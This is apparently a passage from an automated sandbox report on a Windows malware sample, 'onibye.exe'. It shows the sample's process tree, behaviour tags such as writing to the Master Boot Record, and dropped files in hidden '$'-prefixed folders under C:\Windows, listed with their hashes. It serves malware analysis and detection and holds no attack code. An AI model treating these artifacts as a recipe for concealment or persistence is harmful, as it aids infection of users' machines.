                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4660 /prefetch:1
                                                                                                                      3⤵
                                                                                                                        PID:4428
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4676 /prefetch:1
                                                                                                                        3⤵
                                                                                                                          PID:2768
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8
                                                                                                                          3⤵
                                                                                                                            PID:2300
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8
                                                                                                                            3⤵
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:4524
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
                                                                                                                            3⤵
                                                                                                                              PID:5196
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
                                                                                                                              3⤵
                                                                                                                                PID:5232
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
                                                                                                                                3⤵
                                                                                                                                  PID:5292
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
                                                                                                                                  3⤵
                                                                                                                                    PID:5316
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3948 /prefetch:8
                                                                                                                                    3⤵
                                                                                                                                      PID:5308
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1
                                                                                                                                      3⤵
                                                                                                                                        PID:5300
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5936 /prefetch:8
                                                                                                                                        3⤵
                                                                                                                                          PID:3656
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6000 /prefetch:8
                                                                                                                                          3⤵
                                                                                                                                            PID:5236
                                                                                                                                          • C:\Users\Admin\Downloads\onibye.exe
                                                                                                                                            "C:\Users\Admin\Downloads\onibye.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:1364
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              4⤵
                                                                                                                                                PID:3636
                                                                                                                                          • C:\Windows\$nya-onimai2\fVuVwH.exe
                                                                                                                                            "C:\Windows\$nya-onimai2\fVuVwH.exe"
                                                                                                                                            2⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5848
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              3⤵
                                                                                                                                                PID:5368
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                            1⤵
                                                                                                                                              PID:3560
                                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                              1⤵
                                                                                                                                                PID:3740
                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                1⤵
                                                                                                                                                  PID:3892
                                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                  1⤵
                                                                                                                                                    PID:428
                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                    1⤵
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:4376
                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                    1⤵
                                                                                                                                                      PID:4480
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1172
                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                        1⤵
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        PID:4180
                                                                                                                                                      • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2440
                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                          1⤵
                                                                                                                                                            PID:4588
                                                                                                                                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                            1⤵
                                                                                                                                                              PID:3588
                                                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                              1⤵
                                                                                                                                                                PID:4596
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2904
                                                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2132
                                                                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:756
                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4416
                                                                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2264
                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:4948
                                                                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:3492
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:1092
                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4828
                                                                                                                                                                                • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                  C:\Windows\System32\WaaSMedicAgent.exe dba5a574c6dda5b1902ee424925a8d53 kM48uG7gSkKuY1mcZecUCQ.0.1.0.0.0
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Sets service image path in registry
                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                  PID:2936
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2480
                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:5476
                                                                                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                    PID:5812
                                                                                                                                                                                  • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                    C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:6016
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      PID:5832
                                                                                                                                                                                    • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                                                                      C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:3040
                                                                                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:2712

                                                                                                                                                                                      Network

                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                      Downloads

                                                                                                                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        328B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        eb1565223b45495a0e8811f79928cfba

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        a64f309c93f82d480b279670a01878c06309d0a3

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        ce3d2a433eb52823f5db470e55fc306dadd1f8092aa79143d1fa1ef60ad4c235

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        0f72cbf70dafd1a08c6ff1bd52ed31a5babfe147c1f6862c6c8b1dbf96dcc2751af6863ea86dc92d75a451daaa903dbce3214873cdd5287820b56116e69db5f9

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\onibye.exe.log

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        425B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        fff5cbccb6b31b40f834b8f4778a779a

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        899ed0377e89f1ed434cfeecc5bc0163ebdf0454

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        3KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        074db3a6469346f0984db93d9f6f0d8f

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        cac8e72e2ebb92188242a02b79ea5f6b28e3eb22

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        1f4b297a5c35acc494b9726b1f8d389f82ccb2bc2cd6caf4befafa440529005f

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        dcbd3ca1ac5541fa78b21dc55d02a49d40292d6555bc88b9bda87d3f68618b39aa0688ffb6284111c6628fd2df818ca439e7f690fe2eedd44ace72d420b985b4

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        152B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        7de1bbdc1f9cf1a58ae1de4951ce8cb9

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        010da169e15457c25bd80ef02d76a940c1210301

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        6e390bbc0d03a652516705775e8e9a7b7936312a8a5bea407f9d7d9fa99d957e

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        e4a33f2128883e71ab41e803e8b55d0ac17cbc51be3bde42bed157df24f10f34ad264f74ef3254dbe30d253aca03158fde21518c2b78aaa05dae8308b1c5f30c

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        152B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        85ba073d7015b6ce7da19235a275f6da

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        a23c8c2125e45a0788bac14423ae1f3eab92cf00

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        5ad04b8c19bf43b550ad725202f79086168ecccabe791100fba203d9aa27e617

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        eb4fd72d7030ea1a25af2b59769b671a5760735fb95d18145f036a8d9e6f42c903b34a7e606046c740c644fab0bb9f5b7335c1869b098f121579e71f10f5a9c3

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        6KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        0c865224ba014b0396649955e355efb0

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        f99645db8fdc16e1ffd950d39b32f9025c51e344

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        f106c9318cc52ddcc778e65faa2c352fcf1c443a8fa09c7462b289122a5bf460

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        3fe4e600df0bbc4fec6cd4929ae838cd8dac631a34462b216b61f9c274e0320cd1df5aada065b3d779042d711a79208ad3c2f9072399ccd4146e2f99cf45afd3

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        6KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        2f77a842316c3e00313180fd2e34789f

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        cf86379ab039b2a34bffa3c869500f74ebb26cb4

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        b2d2576154acc7283089afccb0b04a4f26d7396039ba0f73c6dc430d3add5704

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        34cf186e4e65a9b44e5bd193f55e768173152a90b43c79dfd6395d66b8c2e864181e96f76d92c607a6d9df15a9ed3f045b60bd5add84a638bab08b81186f7a6c

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        5KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        95b6db7eafef4e0191a8d6818c831336

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        4d082e79cbf86b4fc5a62b1d13cc8d0e1d98a68c

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        bd10398327135355ecc7b0fd081d83d51e40ad843756037fd2f41f4bfffb8ff8

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        401f63a5fa9c1db83ea7d6062d5fb268b2c91576e9d451c5525d7034e6ab26b7b33cce25f2861f43bec40c2e1614533ddb020547f9907e72b5f4b5518617f883

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        16B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        6752a1d65b201c13b62ea44016eb221f

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        11KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        f7bc7fb1a9d58a41106b2211d3aa62f2

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        9e7acbccf2c39f989dbad6f9427a17281047a68b

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        445c9e6efd7f60cc9428b7ee577733746e021999e719d78832e273931710e12d

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        530609b7d9f1b1f10b2350522559ea1bdfdb4dcb7b9169718c1d3409b2f43d0640a87c7bc3b0e32b1bafe4d39a7493ef5405a3a5ac325442b4a57d676087f5c9

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        10KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        71c56374d59e24db6b326c4485998788

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        e9b2d71505b20e5303872c91c0ef8b956351a826

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        e9582aacb24ac5ab95ca34a510c07c9f96747ec47d157e80a100dbaf8452005e

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        9af47fea23369ae5365217cd382786135274ec78177c956754dadb08234fe8b95038d002d5e5f86747e5ff9ed1589e9e48ae7250cb9934d0ed1a0dd6239ca20f

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        78e97326031132b73494010cd087ee81

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        03d6e56ec4a1199cfbdaef4ce359121284f5bfee

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        42d4af0b22b8e1b953535101b7548981d3b0d4e0c01abdc7ea71830193ff8299

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        324002ea7474cfd9cea72906e2ad8234cb27acd8e109996d8ccf748edb7150d1f254012354c4e7a29212930c3c0288082fed905b4ad0b9f16f2886887f3b6620

                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bdsl5xdw.zap.ps1

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        60B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                      • C:\Users\Admin\Downloads\Unconfirmed 165791.crdownload

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        327KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        90fcc766288dc30d3e12810feac5a373

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        6750249adf29f74cce5c10db107766f91a2ef92d

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        fcc48a9c9f3227be8b8231cb103b14f8a030e9f7ff580ac6f91750eb185fced7

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        612103390fa99f7cae19858d943df98e87accd5eed388c401b9735e89ab0132e9304d4137ae93355eebe19e1041765334364afe9d1dc9986c45f1d89e28a680c

                                                                                                                                                                                      • C:\Windows\$nya-onimai2\fVuVwH.exe

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        36KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        b943a57bdf1bbd9c33ab0d33ff885983

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        1cee65eea1ab27eae9108c081e18a50678bd5cdc

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

                                                                                                                                                                                      • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        7.3MB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        d96987d5645d0a45dc0830e166db747e

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        ffe0eb0aaca891bba84dd508accdbbc2df6d59f9

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        c07250a2ea7a8523defaa97352e48b28106c21a111c81285a9ab0a34843bdc0d

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        43d8c564977621e9368023aa3b7405b52e3d5a0d9e4c4cd4e9755be5023f59d23408cf7d50c388865d4d9215789917d5d099e66614fbb08fab38f65b94c6fa4b

                                                                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        f313c5b4f95605026428425586317353

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        2KB

                                                                                                                                                                                        MD5

